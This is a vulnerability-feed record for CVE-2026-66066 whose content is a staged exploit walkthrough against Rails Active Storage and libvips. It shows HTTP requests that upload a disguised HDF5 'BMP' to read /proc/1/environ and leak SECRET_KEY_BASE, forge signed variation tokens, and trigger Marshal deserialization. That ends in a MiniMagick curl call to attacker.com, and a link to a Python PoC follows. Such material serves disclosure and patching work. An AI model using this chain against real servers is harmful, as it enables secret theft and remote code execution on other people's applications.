{"uuid": "750ecd48-84c8-47db-aa13-6d6c8c4934e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/win3zz/ae02cb1c3be0b79f69b609f559e1f179", "content": "## Stage 1 \u2013 Visit Upload Page (Get CSRF)\n\n```\nGET / HTTP/1.1\nHost: victim.com\n```\n\nResponse\n\n```html\n\n```\n\nExtract the CSRF token.\n\n---\n\n## Stage 2 \u2013 Upload a Normal PNG\n\nThe PoC first uploads a harmless PNG.\n\n```\nPOST /uploads HTTP/1.1\nHost: victim.com\nContent-Type: multipart/form-data; boundary=----\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"authenticity_token\"\n\nCSRF_TOKEN\n------BOUNDARY\nContent-Disposition: form-data;\n name=\"upload[avatar]\";\n filename=\"safe.png\"\n\n\n------BOUNDARY--\n```\n\nResponse\n\n```\nHTTP/1.1 200 OK\n```\n\nInside HTML:\n\n```html\n\n```\n\nThis representation URL becomes important later.\n\n---\n\n## Stage 3 \u2013 Create Direct Upload\n\nRails Active Storage allows JavaScript clients to upload files directly.\n\n```\nPOST /rails/active_storage/direct_uploads HTTP/1.1\n\nContent-Type: application/json\nX-CSRF-Token: CSRF_TOKEN\n\n{\n  \"blob\":{\n      \"filename\":\"profile.bmp\",\n      \"byte_size\":12345,\n      \"checksum\":\"....\",\n      \"content_type\":\"image/bmp\"\n  }\n}\n```\n\nResponse\n\n```json\n{\n   \"signed_id\":\"eyJ...\",\n   \"direct_upload\":{\n      \"url\":\"/rails/active_storage/disk/....\",\n      \"headers\":{\n           \"Content-Type\":\"image/bmp\"\n      }\n   }\n}\n```\n\nNow the attacker has:\n\n* upload URL\n* signed blob ID\n\n---\n\n## Stage 4 \u2013 Upload the Malicious BMP\n\nThis is **not really a BMP**.\n\nIt is actually\n\n```\nMATLAB\n      +\nHDF5\n      +\nExternal Dataset\n      +\nEmbedded Ruby Marshal Payload\n```\n\nUploaded with\n\n```\nPUT /rails/active_storage/disk/... HTTP/1.1\n\nContent-Type: image/bmp\n\n\n```\n\nResponse\n\n```\n204 No Content\n```\n\n---\n\n## Stage 5 \u2013 Trigger Image Processing\n\nNow the representation URL is modified to use the uploaded blob.\n\n```\nGET /rails/active_storage/representations/redirect//profile.bmp\n```\n\nAt this point Rails asks **libvips** to process the image.\n\nInstead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.\n\nThe HDF5 file contains an **External Dataset** pointing to\n\n```\n/proc/1/environ\n```\n\nSo libvips loads\n\n```\n/proc/1/environ\n```\n\ninstead of image pixels.\n\n---\n\n## Stage 6 \u2013 Information Disclosure\n\nThe response is still a PNG image.\n\nHowever its pixels now contain the contents of\n\n```\n/proc/1/environ\n```\n\nThe PoC parses the returned PNG.\n\nInside the pixels it extracts\n\n```\nSECRET_KEY_BASE=xxxxxxxxxxxxxxxx\n```\n\nThis is the Rails signing secret.\n\n---\n\n## Stage 7 \u2013 Forge Active Storage Token\n\nNow the PoC computes\n\n```\nHMAC(secret,\n     serialized Ruby Marshal payload)\n```\n\ncreating a valid Rails signed token.\n\nThis is equivalent to forging a legitimate\n\n```\nvariation_key\n```\n\nfor Active Storage.\n\n---\n\n## Stage 8 \u2013 Final Trigger\n\n```\nGET /rails/active_storage/representations/redirect//safe.png\n```\n\nThis time Rails trusts the forged token because it is correctly signed with the recovered `SECRET_KEY_BASE`.\n\nRails deserializes the embedded Ruby Marshal object.\n\n---\n\n## Stage 9 \u2013 Code Execution\n\nThe Marshal object eventually invokes\n\n```\nMiniMagick::Tool\n```\n\nconfigured as\n\n```\n/usr/bin/curl\n```\n\nwith arguments similar to\n\n```\ncurl \\\n --silent \\\n --show-error \\\n --max-time 8 \\\n --output /dev/null \\\n http://attacker.com/callback\n```\n\nThe outbound callback proves code execution without returning sensitive data.\n\n---\n\n# Complete Burp Flow\n\n```text\nGET /\n      \u2502\n      \u25bc\nReceive CSRF Token\n      \u2502\n      \u25bc\nPOST /uploads\n      \u2502\n      \u25bc\nReceive Representation URL\n      \u2502\n      \u25bc\nPOST /rails/active_storage/direct_uploads\n      \u2502\n      \u25bc\nReceive signed_id + upload URL\n      \u2502\n      \u25bc\nPUT malicious BMP\n      \u2502\n      \u25bc\nGET representation(profile.bmp)\n      \u2502\n      \u25bc\nlibvips reads /proc/1/environ\n      \u2502\n      \u25bc\nSECRET_KEY_BASE leaked\n      \u2502\n      \u25bc\nForge Rails signed token\n      \u2502\n      \u25bc\nGET representation(forged token)\n      \u2502\n      \u25bc\nMarshal Deserialization\n      \u2502\n      \u25bc\nMiniMagick::Tool\n      \u2502\n      \u25bc\ncurl attacker callback\n```\n\n# Vulnerability Chain\n\nThis is **not a single vulnerability**, but a chained exploit:\n\n1. **Arbitrary file read** via libvips external HDF5 dataset (`/proc/1/environ`).\n2. **Leak of `SECRET_KEY_BASE`** from the Rails process environment.\n3. **Forgery of Active Storage signed variation tokens** using the leaked secret.\n4. **Unsafe Ruby Marshal deserialization** of the forged variation.\n5. **Command execution** through the `MiniMagick::Tool` gadget (demonstrated with an outbound `curl` callback).\n\n\n### Ref. PoC: \n- https://github.com/Zer0SumGam3/CVE-2026-66066-POC/blob/main/rails_vips_oast_poc.py", "creation_timestamp": "2026-07-30T11:01:15.227122Z"}